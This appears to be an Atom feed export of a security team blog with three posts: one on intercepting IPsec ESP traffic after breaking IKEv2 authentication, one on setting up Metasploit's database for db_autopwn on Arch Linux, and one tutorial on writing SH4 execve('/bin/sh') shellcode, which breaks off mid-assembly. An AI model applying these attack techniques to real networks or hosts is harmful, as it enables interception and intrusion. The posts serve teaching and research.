<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-174930807143441902</id><updated>2012-02-16T09:22:14.173+01:00</updated><category term='source code'/><category term='claws-mail'/><category term='reverse'/><category term='password'/><title type='text'>Graland Security</title><subtitle type='html'>We are the &lt;b&gt;Security Team&lt;/b&gt; of &lt;b&gt;Graland Networking Incorporated &amp;amp; Fils (GNIF)&lt;/b&gt;. &lt;br&gt;
We MAY [1] publish interesting information. &lt;br&gt;
We SHALL [1] publish stupid things. &lt;br&gt;&lt;br&gt;
[1]: see RFC 2119.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>23</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-1052586846286756897</id><published>2011-07-15T08:47:00.004+02:00</published><updated>2011-07-15T09:08:40.990+02:00</updated><title type='text'>Man in the middle on IPsec? Yes, we can!</title><content type='html'>&lt;p&gt;
IPsec seems to be much less used than TLS. Maybe because, from a developper perspective, setting up a TLS socket looks much more easier than creating IPsec Security Associations (SA) and Security Policies (SP). If we look at security tools, we have lots to (attempt to) hijack TLS channels but nothing for IPsec so far.&lt;br&gt;
On the other side, IPsec may be used more and more within devices to communicate with service providers or mainteners in a secure way (e.g. refering to &lt;a href="http://tools.ietf.org/html/rfc2460#page-35"&gt;IPv6&lt;/a&gt;).
&lt;/p&gt;
&lt;p&gt;
In general, the ESP protocol is used: see &lt;a href="http://tools.ietf.org/html/rfc4303"&gt;RFC 4303&lt;/a&gt;. AH is much less used to my experience. It can be run in tunnel mode (encapsulating new IP headers and so protecting internal routing flaws), or in transport mode (hence, used in a way more similar to TLS).&lt;br&gt;
In order to enable IPsec channels automatically, IKEv2 has been designed, and is described in &lt;a href="http://tools.ietf.org/html/rfc5996"&gt;RFC 5996&lt;/a&gt;.
Basically, IKEv2 does the following:&lt;br&gt;
- generates an initial SA by running a diffie hellman exchange and negotiating IKEv2 security algorithms,&lt;br&gt;
- informs about SP within traffic selectors (what flaws to protect),&lt;br&gt;
- authenticate peers,&lt;br&gt;
- if authentication is successful and traffic selectors from peers matches, it generates new SA for the IPsec layer by deriving further the initial DH secret and renegogiating security algorithms.&lt;br&gt;
This last SA is then pushed to the IP networking stack. In general in Linux, pf_key and xfrm interfaces can be used to configure the kernel. Lots of options and protocol kung-fu exist within IKEv2: e.g. in case of tunnel mode, an internal IP address can be requested by a peer acting as a client (think road-warriors connecting to a VPN gateway).
&lt;/p&gt;
&lt;p&gt;
IPsec SA configured with IKEv2 cannot be retrieved by passively eavesdropping on the IKEv2 negotiation (unless you can factorize the large prime numbers used during the DH exchange...): unlike TLS, IKEv2 / IPsec SA are not transferred over the network (in the main mode of TLS, keys are transferred protected with the server's public key).&lt;br&gt;
With IKEv2, you need to be active in the middle of the negotiation to manage yourself DH secrets, or you need to get access afterwards on one of the 2 peers' system and extract IPsec SA (in general on Linux, you need to be root). This is also why in wireshark, IPsec SA have to be configured completely for decoding ESP packet, whereas with TLS you only need to put the server's RSA secret key to decode an entire TLS session.
&lt;/p&gt;
&lt;p&gt;
Being in the middle of an IKEv2 and IPsec connection still requires to break peers' authentication!&lt;br&gt;
The main IKEv2 protocol accepts certificate or pre-shared key authentication.
The pre-shared key mode allows to bruteforce the password offline, after running a fake IKEv2 server against a legitimate client. With the certificate mode, you can expect to meet the same issues than with TLS certificate authentication (mis-verification, mis-configuration, mis-implementation...).&lt;br&gt;
Furthermore, IKEv2 accepts EAP authentication methods: e.g. EAP-MD5, EAP-TLS, EAP-SIM... Some of these methods can be insecure (e.g. those which are not generating MSK to be transferred to the IKEv2 layer, those that are not mutual authentication methods, those that allow replaying authentication exchanges...). Some making use of passwords can be bruteforced offline in the same way than the IKEv2 pre-shared key too.&lt;br&gt;
There are plenty of authentication methods for IKEv2, and hence plenty of ways to break it!
&lt;/p&gt;
&lt;p&gt;
But the purpose of this post is not about IKEv2 but IPsec ESP. So, after you manage to break the authentication scheme between 2 peers, you will be able to run you own instances of IKEv2 with each peers (this is left for the reader!). By doing so, it is possible to establish IPsec ESP SA with client and server independently. As soon as I have those SA, I can man-in-the-middle the IPsec ESP channel!&lt;br&gt;
My first thought was to handle this directly within Linux, however and especially with the tunnel mode of ESP, routing issues are certainly going to happen.&lt;br&gt;
So what???&lt;br&gt;
...&lt;br&gt;
Python!&lt;br&gt;
And &lt;a href="https://www.dlitz.net/software/pycrypto/"&gt;pycrypto&lt;/a&gt;.&lt;br&gt;
I made a short class that is instantiated with both client and server Security Associations. It is only made to work with IPsec ESP over UDP (the NAT-Traversal mode): this avoids having to deal with raw sockets. Once an ESP packet is received from one of the peer, it is deciphered with an SA, reciphered and transferred toward the other peer. Optionnaly, it duplicates the unciphered ESP packet on a local interface (over GRE to 127.10.10.10) to have the clear content of the hijacked channel without effort in wireshark. This last feature does not work on microsoft OSes; this won't provide good result with ESP transport mode too...
&lt;/p&gt;
&lt;p&gt;
The source of the class can be found &lt;a href="http://pastebin.com/bp4xWTRm"&gt;here&lt;/a&gt;. It requires configuration of the class attributes: local_ip, local_port, cli_addr, srv_addr. Then, it is instantiated with the SA established with each peers: SA_cli and SA_srv. Each must have 'SPIi' and 'SPIr' as keys indexing a list containing encryption key, integrity protection key and SPI strings.&lt;br&gt;
The class is coded to work with AES-CBC-128 and HMAC-SHA1-96, but can be changed easily by modifying the length of iv and mac and using the appropriate calls to pycrypto and hashlib.
&lt;/p&gt;
&lt;p&gt;
And believe me: this works impressively!&lt;br&gt;
No need to address IPsec system and network interfaces configuration, tunnel routing issues, neither ESP padding...&lt;br&gt;
Holly python!&lt;br&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-1052586846286756897?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/1052586846286756897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/07/man-in-middle-on-ipsec-yes-we-can.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/1052586846286756897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/1052586846286756897'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/07/man-in-middle-on-ipsec-yes-we-can.html' title='Man in the middle on IPsec? Yes, we can!'/><author><name>mitshell</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-3953884179363801924</id><published>2011-06-29T17:12:00.002+02:00</published><updated>2011-06-29T17:56:26.217+02:00</updated><title type='text'>msf_autopwn Archlinux</title><content type='html'>&lt;h1&gt;# Intro&lt;/h1&gt;

&lt;p&gt;
A quick and dirty way to setup metasploit correctly if you want to use msf_autopwn
&lt;/p&gt;

&lt;pre&gt;
% msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf &amp;gt; db_driver 
[*] No Active Driver
[*]        Available: 

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

[*]     DB Support: Enable the postgresql driver with the following command:
[*]                   * This requires libpq-dev and a build environment
[*]                 $ gem install postgres
[*]                 $ gem install pg # is an alternative that may work

msf &amp;gt; msfconsole  11,08s user 0,88s system 2% cpu 7:45,16 total
&lt;/pre&gt;

&lt;p&gt;
We will install postgresql and the associated gem, pg (not postgres): 
&lt;/p&gt;

&lt;pre&gt;
% packer -S postgresql
résolution des dépendances...
recherche des conflits entre paquets...

Cibles (1): postgresql-9.0.4-4

Taille totale des paquets (téléchargement):   4,19 Mo
Taille totale des paquets (installation):   22,90 Mo

Procéder à l'installation ? [O/n] 
:: Récupération des paquets du dépôt extra...
 postgresql-9.0.4-4-x86_64              4,2M    8,0M/s 00:00:01 [##################################] 100%
(1/1) vérification de l'intégrité des paquets                   [##################################] 100%
(1/1) analyse des conflits entre fichiers                       [##################################] 100%
(1/1) installation de postgresql                                [##################################] 100%
Dépendances optionnelles pour postgresql
    python2: for PL/Python support
    perl: for PL/Perl support
% sudo gem install pg
% msfconsole

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf &gt; db_driver 
[*]    Active Driver: postgresql
[*]        Available: postgresql

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

msf &gt; db_n
db_nmap   db_notes  
msf &gt; db_nmap -A -T2 -vvv 127.0.0.1
[-] Database not connected
msf &gt; db_connect 
[*]    Usage: db_connect &lt;user:pass&gt;@&lt;host:port&gt;/&lt;database&gt;
[*]       OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3
msf &gt; db_connect test
[-] Error while running command db_connect: Failed to connect to the database: could not connect to server: Connection refused
        Is the server running on host "127.0.0.1" and accepting
        TCP/IP connections on port 5432?


Call stack:
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:2022:in `db_connect_postgresql'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:1725:in `cmd_db_connect'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_command'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:338:in `block in run_single'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `each'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `run_single'
/opt/metasploit/lib/rex/ui/text/shell.rb:143:in `run'
/opt/metasploit/msfconsole:130:in `&lt;main&gt;'
&lt;/pre&gt;

&lt;p&gt;
This error means that the server is not started :
&lt;/p&gt;

&lt;pre&gt;
% sudo /etc/rc.d/postgresql start
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

The database cluster will be initialized with locale C.
The default database encoding has accordingly been set to SQL_ASCII.
The default text search configuration will be set to "english".

fixing permissions on existing directory /var/lib/postgres/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 24MB
creating configuration files ... ok
creating template1 database in /var/lib/postgres/data/base/1 ... ok
initializing pg_authid ... ok
initializing dependencies ... ok
creating system views ... ok
loading system objects' descriptions ... ok
creating conversions ... ok
creating dictionaries ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
loading PL/pgSQL server-side language ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok

WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option the
next time you run initdb.

Success. You can now start the database server using:

    /usr/bin/postgres -D /var/lib/postgres/data
or
    /usr/bin/pg_ctl -D /var/lib/postgres/data -l logfile start

:: Starting PostgreSQL                                                                            [DONE] 
&lt;/pre&gt;

&lt;p&gt;
But the previous msf command is failing again :
&lt;/p&gt;

&lt;pre&gt;
msf &gt; db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  role "dad" does not exist
&lt;/pre&gt;

&lt;p&gt;
The according role can be created easily :
&lt;/p&gt;

&lt;pre&gt;
% sudo su - postgres
[postgres@XXX ~]$ createuser -P
Saisir le nom du rôle à ajouter : dad
Saisir le mot de passe pour le nouveau rôle : 
Le saisir de nouveau : 
Le nouveau rôle est-il super-utilisateur ? (o/n) o
&lt;/pre&gt;

&lt;p&gt;
Trying to connect again :
&lt;/p&gt;

&lt;pre&gt;
msf &gt; db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  database "dad" does not exist
[postgres@gambas ~]$ createdb dad
msf &gt; db_connect test
[-] Error while running command db_connect: Failed to connect to the database: PGError: ERROR:  new encoding (UTF8) is incompatible with the encoding of the template database (SQL_ASCII)
HINT:  Use the same encoding as in the template database, or use template0 as template.
: CREATE DATABASE "test" ENCODING = 'utf8'
&lt;/pre&gt;

&lt;p&gt;
Oh ok sure, disconnect msf pg driver then :
&lt;/p&gt;

&lt;pre&gt;
msf &amp;gt; db_disconnect
[postgres@XXX ~]$ dropdb dad
[postgres@XXX ~]$ psql
postgres=# CREATE DATABASE "dad" ENCODING = 'utf8'
&lt;/pre&gt;

&lt;p&gt;
One last test :)
&lt;/p&gt;

&lt;pre&gt;
msf &gt; db_connect test
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
...
&lt;/pre&gt;

Youhou! You can now proudly use db_autopwn :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-3953884179363801924?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/3953884179363801924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2011/06/msfautopwn-archlinux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/3953884179363801924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/3953884179363801924'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2011/06/msfautopwn-archlinux.html' title='msf_autopwn Archlinux'/><author><name>Dad.</name><uri>http://www.blogger.com/profile/05266852027016346183</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-174930807143441902.post-3641498803505934933</id><published>2011-06-24T16:20:00.009+02:00</published><updated>2011-06-24T19:54:41.053+02:00</updated><title type='text'>SH4 fun</title><content type='html'>&lt;h1&gt;# Description&lt;/h1&gt;

&lt;p&gt;
A brief tutorial on SuperH4 architecture.
&lt;/p&gt;

&lt;h1&gt;# Specs&lt;/h1&gt;

&lt;p&gt;
SuperH Family :
&lt;a href="http://www.renesas.com/media/products/mpumcu/superh/roadmap/shroadmap.gif"&gt;http://www.renesas.com/media/products/mpumcu/superh/roadmap/shroadmap.gif&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Source : &lt;a href="http://www.renesas.com/products/mpumcu/superh/superh_landing.jsp"&gt;http://www.renesas.com/products/mpumcu/superh/superh_landing.jsp&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
We will focus on the simple SH-4, also referred as SH7750 series. To start such an adventure we will need the precise description of this subtle architecture, and after some guessing we land at SuperH7750 Software Reference manual (&lt;a href="http://documentation.renesas.com/eng/products/mpumcu/rej09b0318_sh_4sm.pdf"&gt;http://documentation.renesas.com/eng/products/mpumcu/rej09b0318_sh_4sm.pdf&lt;/a&gt;).
&lt;/p&gt;

&lt;p&gt;
There is, among other, the opcode list for this processor! As we won't make shellcodes on a sheet of paper, next step is to setup the whole environment. You have two possibilites here, boot your ultra rare superh machine, or emulate it with qemu. Let's describe the latter.
&lt;/p&gt;

&lt;h1&gt;# Qemu setup&lt;/h1&gt;

&lt;p&gt;
First thing to come in mind when you have to deal with uncommon architectures : google "aurel32 #REPLACE_WITH_ARCH". This debian man just made an awesome work by setting up debian qemu images for arm,........,sh4. So download the following files :
&lt;/p&gt;

&lt;p&gt;
- &lt;a href="http://people.debian.org/~aurel32/qemu/sh4/debian_sid_sh4_standard.qcow2"&gt;http://people.debian.org/~aurel32/qemu/sh4/debian_sid_sh4_standard.qcow2&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
- &lt;a href="http://people.debian.org/~aurel32/qemu/sh4/initrd.img-2.6.32-5-sh7751r"&gt;http://people.debian.org/~aurel32/qemu/sh4/initrd.img-2.6.32-5-sh7751r&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
- &lt;a href="http://people.debian.org/~aurel32/qemu/sh4/vmlinuz-2.6.32-5-sh7751r"&gt;http://people.debian.org/~aurel32/qemu/sh4/vmlinuz-2.6.32-5-sh7751r&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
By following the README, we launch qemu-system-sh4 with the following flags :
&lt;/p&gt;
&lt;p&gt;
&lt;span style="font-weight:bold;"&gt;qemu-system-sh4 -M r2d -kernel vmlinuz-2.6.32-5-sh7751r -initrd initrd.img-2.6.32-5-sh7751r -hda debian_sid_sh4_standard.qcow2 -append "root=/dev/sda1 console=tty0 noiotrap" -net nic -net user -redir tcp:2222::22&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
Note that I added the tcp redirection to be able to ssh directly. Don't forget to "aptitude update &amp;amp;&amp;amp; aptitude upgrade", as this is an old release you will have some stuff to update and unfortunately this emulated machine is slow as hell (btw you can fully read the specs in the meantime :).
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://community.qnx.com/sf/wiki/do/viewPage/projects.core_os/wiki/KernelSystemCall"&gt;http://community.qnx.com/sf/wiki/do/viewPage/projects.core_os/wiki/KernelSystemCall&lt;/a&gt;
&lt;/p&gt;

&lt;h1&gt;# Shellcoding&lt;/h1&gt;

&lt;p&gt;
First step, executing "/bin/sh" via a shellcode. Our architecture works essentially with registers, and according to the msdn documentation [1] we can identify their meaning :
&lt;/p&gt;

&lt;pre&gt; 
 R0         Return values

 R1         Temp register
 R2         Temp register
 R3         Temp register

 R4         First function argument
 R5         Second function argument
 R6         Third function argument
 R7         Fourth function argument

 R8         Permanent register
 R9         Permanent register
 R10        Permanent register
 R11        Permanent register
 R12        Permanent register
 R13        Permanent register

 R14        Default frame pointer

 R15        Stack pointer
&lt;/pre&gt;

&lt;p&gt;
Now let's analyze how gcc compile a simple execve code :
&lt;/p&gt;

&lt;pre&gt;
root@debian-sh4:~# cat execve.c
void getshell()
{
   char *str = "//bin/sh";
   execve(str,0,0);
}

void main()
{
   getshell();
}
root@debian-sh4:~# gcc execve.c -o execve -g
&lt;/pre&gt;

&lt;p&gt;
We load it into our sh4 gdb :
&lt;/p&gt;
&lt;pre&gt;
root@debian-sh4:~# gdb -q execve
Reading symbols from /root/execve...done.
(gdb) disassemble main
Dump of assembler code for function main:
  0x004004f8 &amp;lt;+0&amp;gt;:     mov.l   r14,@-r15
  0x004004fa &amp;lt;+2&amp;gt;:     sts.l   pr,@-r15
  0x004004fc &amp;lt;+4&amp;gt;:     mov     r15,r14
  0x004004fe &amp;lt;+6&amp;gt;:     mov.l   0x400510 &amp;lt;main+24&amp;gt;,r1   ! 0x4004c0 &amp;lt;getshell&amp;gt;
  0x00400500 &amp;lt;+8&amp;gt;:     jsr     @r1
  0x00400502 &amp;lt;+10&amp;gt;:    nop
  0x00400504 &amp;lt;+12&amp;gt;:    mov     r14,r15
  0x00400506 &amp;lt;+14&amp;gt;:    lds.l   @r15+,pr
  0x00400508 &amp;lt;+16&amp;gt;:    mov.l   @r15+,r14
  0x0040050a &amp;lt;+18&amp;gt;:    rts
  0x0040050c &amp;lt;+20&amp;gt;:    nop
  0x0040050e &amp;lt;+22&amp;gt;:    nop
  0x00400510 &amp;lt;+24&amp;gt;:    .word 0x04c0
  0x00400512 &amp;lt;+26&amp;gt;:    .word 0x0040
End of assembler dump.
&lt;/pre&gt;

&lt;p&gt;
Call to a subroutine is done via the instruction jsr @addr, next step, the disassembly of the &lt;span style="font-style:italic;"&gt;"getshell"&lt;/span&gt; function
&lt;/p&gt;

&lt;pre&gt;
(gdb) disassemble getshell
Dump of assembler code for function getshell:
  0x004004c0 &amp;lt;+0&amp;gt;:     mov.l   r14,@-r15
  0x004004c2 &amp;lt;+2&amp;gt;:     sts.l   pr,@-r15
  0x004004c4 &amp;lt;+4&amp;gt;:     add     #-4,r15
  0x004004c6 &amp;lt;+6&amp;gt;:     mov     r15,r14
  0x004004c8 &amp;lt;+8&amp;gt;:     mov     r14,r1
  0x004004ca &amp;lt;+10&amp;gt;:    add     #-60,r1
  0x004004cc &amp;lt;+12&amp;gt;:    mov.l   0x4004f0 &amp;lt;getshell+48&amp;gt;,r2       ! 0x40063c
  0x004004ce &amp;lt;+14&amp;gt;:    mov.l   r2,@(60,r1)
  0x004004d0 &amp;lt;+16&amp;gt;:    mov     r14,r1
  0x004004d2 &amp;lt;+18&amp;gt;:    add     #-60,r1
  0x004004d4 &amp;lt;+20&amp;gt;:    mov.l   @(60,r1),r1
  0x004004d6 &amp;lt;+22&amp;gt;:    mov     r1,r4
  0x004004d8 &amp;lt;+24&amp;gt;:    mov     #0,r5
  0x004004da &amp;lt;+26&amp;gt;:    mov     #0,r6
  0x004004dc &amp;lt;+28&amp;gt;:    mov.l   0x4004f4 &amp;lt;getshell+52&amp;gt;,r1       ! 0x400378 &amp;lt;execve@plt&amp;gt;
  0x004004de &amp;lt;+30&amp;gt;:    jsr     @r1
  0x004004e0 &amp;lt;+32&amp;gt;:    nop
  0x004004e2 &amp;lt;+34&amp;gt;:    add     #4,r14
  0x004004e4 &amp;lt;+36&amp;gt;:    mov     r14,r15
  0x004004e6 &amp;lt;+38&amp;gt;:    lds.l   @r15+,pr
  0x004004e8 &amp;lt;+40&amp;gt;:    mov.l   @r15+,r14
  0x004004ea &amp;lt;+42&amp;gt;:    rts
  0x004004ec &amp;lt;+44&amp;gt;:    nop
  0x004004ee &amp;lt;+46&amp;gt;:    nop
  0x004004f0 &amp;lt;+48&amp;gt;:    mov.b   @(r0,r3),r6
  0x004004f2 &amp;lt;+50&amp;gt;:    .word 0x0040
  0x004004f4 &amp;lt;+52&amp;gt;:    .word 0x0378
  0x004004f6 &amp;lt;+54&amp;gt;:    .word 0x0040
End of assembler dump.
&lt;/pre&gt;

&lt;p&gt;
Focusing on the execve function call, we can see that the address of our "/bin/sh" string is loaded in r4, then 0 in r5 and r6. In our shellcode we will only use syscalls to be as independant as possible. A step deeper, we have the execve@plt disassembly (not resolved) :
&lt;/p&gt;

&lt;pre&gt;
(gdb) disassemble execve
Dump of assembler code for function execve@plt:
  0x00400378 &amp;lt;+0&amp;gt;:     mov.l   0x40038c &amp;lt;execve@plt+20&amp;gt;,r0     ! 0x41076c &amp;lt;_GLOBAL_OFFSET_TABLE_+20&amp;gt;
  0x0040037a &amp;lt;+2&amp;gt;:     mov.l   @r0,r0
  0x0040037c &amp;lt;+4&amp;gt;:     mov.l   0x400388 &amp;lt;execve@plt+16&amp;gt;,r1     ! 0x400324
  0x0040037e &amp;lt;+6&amp;gt;:     jmp     @r0
  0x00400380 &amp;lt;+8&amp;gt;:     mov     r1,r0
  0x00400382 &amp;lt;+10&amp;gt;:    mov.l   0x400390 &amp;lt;execve@plt+24&amp;gt;,r1     ! 0x18
  0x00400384 &amp;lt;+12&amp;gt;:    jmp     @r0
  0x00400386 &amp;lt;+14&amp;gt;:    nop
  0x00400388 &amp;lt;+16&amp;gt;:    mov.b   r2,@(r0,r3)
  0x0040038a &amp;lt;+18&amp;gt;:    .word 0x0040
  0x0040038c &amp;lt;+20&amp;gt;:    mov.b   @(r0,r6),r7
  0x0040038e &amp;lt;+22&amp;gt;:    .word 0x0041
  0x00400390 &amp;lt;+24&amp;gt;:    sett
  0x00400392 &amp;lt;+26&amp;gt;:    .word 0x0000
End of assembler dump.
&lt;/pre&gt;

&lt;p&gt;
We run it one time to resolve :
&lt;/p&gt;

&lt;pre&gt;(gdb) r
Starting program: /root/execve
Got object file from memory but can't read symbols: File format not recognized.
process 32715 is executing new program: /bin/dash
# exit

Program exited normally.
(gdb) disassemble execve
Dump of assembler code for function execve:
  0x29625d40 &amp;lt;+0&amp;gt;:     mov.l   r12,@-r15
  0x29625d42 &amp;lt;+2&amp;gt;:     mova    0x29625d9c &amp;lt;execve+92&amp;gt;,r0
  0x29625d44 &amp;lt;+4&amp;gt;:     mov.l   0x29625d9c &amp;lt;execve+92&amp;gt;,r12      ! 0xb7a34
  0x29625d46 &amp;lt;+6&amp;gt;:     mov     #11,r3
  0x29625d48 &amp;lt;+8&amp;gt;:     add     r0,r12
  0x29625d4a &amp;lt;+10&amp;gt;:    trapa   #19
  0x29625d4c &amp;lt;+12&amp;gt;:    or      r0,r0
  0x29625d4e &amp;lt;+14&amp;gt;:    or      r0,r0
  0x29625d50 &amp;lt;+16&amp;gt;:    or      r0,r0
  0x29625d52 &amp;lt;+18&amp;gt;:    or      r0,r0
  0x29625d54 &amp;lt;+20&amp;gt;:    or      r0,r0
  0x29625d56 &amp;lt;+22&amp;gt;:    mov.w   0x29625d98 &amp;lt;execve+88&amp;gt;,r1       ! 0xf000
  0x29625d58 &amp;lt;+24&amp;gt;:    cmp/hi  r1,r0
  0x29625d5a &amp;lt;+26&amp;gt;:    bt.s    0x29625d80 &amp;lt;execve+64&amp;gt;
  0x29625d5c &amp;lt;+28&amp;gt;:    mov     r0,r3
  0x29625d5e &amp;lt;+30&amp;gt;:    rts
  0x29625d60 &amp;lt;+32&amp;gt;:    mov.l   @r15+,r12
  0x29625d62 &amp;lt;+34&amp;gt;:    nop
  ....
  0x29625d7e &amp;lt;+62&amp;gt;:    nop
  0x29625d80 &amp;lt;+64&amp;gt;:    mov.l   0x29625d8c &amp;lt;execve+76&amp;gt;,r0       ! 0x198
  0x29625d82 &amp;lt;+66&amp;gt;:    stc     gbr,r1
  0x29625d84 &amp;lt;+68&amp;gt;:    mov.l   @(r0,r12),r0
  0x29625d86 &amp;lt;+70&amp;gt;:    bra     0x29625d90 &amp;lt;execve+80&amp;gt;
  0x29625d88 &amp;lt;+72&amp;gt;:    add     r0,r1
  0x29625d8a &amp;lt;+74&amp;gt;:    nop
  0x29625d8c &amp;lt;+76&amp;gt;:    .word 0x0198
  0x29625d8e &amp;lt;+78&amp;gt;:    .word 0x0000
  0x29625d90 &amp;lt;+80&amp;gt;:    neg     r3,r3
  0x29625d92 &amp;lt;+82&amp;gt;:    mov.l   r3,@r1
  0x29625d94 &amp;lt;+84&amp;gt;:    bra     0x29625d5e &amp;lt;execve+30&amp;gt;
  0x29625d96 &amp;lt;+86&amp;gt;:    mov     #-1,r0
  0x29625d98 &amp;lt;+88&amp;gt;:    fadd    fr0,fr0
  0x29625d9a &amp;lt;+90&amp;gt;:    nop
  0x29625d9c &amp;lt;+92&amp;gt;:    add     #52,r10
  0x29625d9e &amp;lt;+94&amp;gt;:    rts
End of assembler dump.
&lt;/pre&gt;

&lt;p&gt;
Better. This "trapa" instruction seems cool, with 11 in r3, let's see the execve syscall number :
&lt;/p&gt;

&lt;pre&gt;
root@debian-sh4:~# grep execve /usr/include/asm/unistd_32.h
#define __NR_execve              11
&lt;/pre&gt;

&lt;p&gt;
So r3 with the syscall number and r0 with the string address, perfect. Instructions are pretty limited and we can only push registers on the "stack", so to push a byte on the stack, it takes 4 bytes :
&lt;/p&gt;

&lt;pre&gt;
mov #imm, reg
mov reg,@-r15
&lt;/pre&gt;

&lt;p&gt;
First thought is to push bytes one by one (I am getting an error when putting immediate larger than 0xff) :
&lt;/p&gt;

&lt;pre&gt;
/*
* execve ("/bin/sh");
*
main:
       add     #-8, r15
       mov     r15, r4
       mov     #110, r2
       shll8   r2
       add     #105, r2
       shll8   r2
       add     #98, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       add     #4, r15
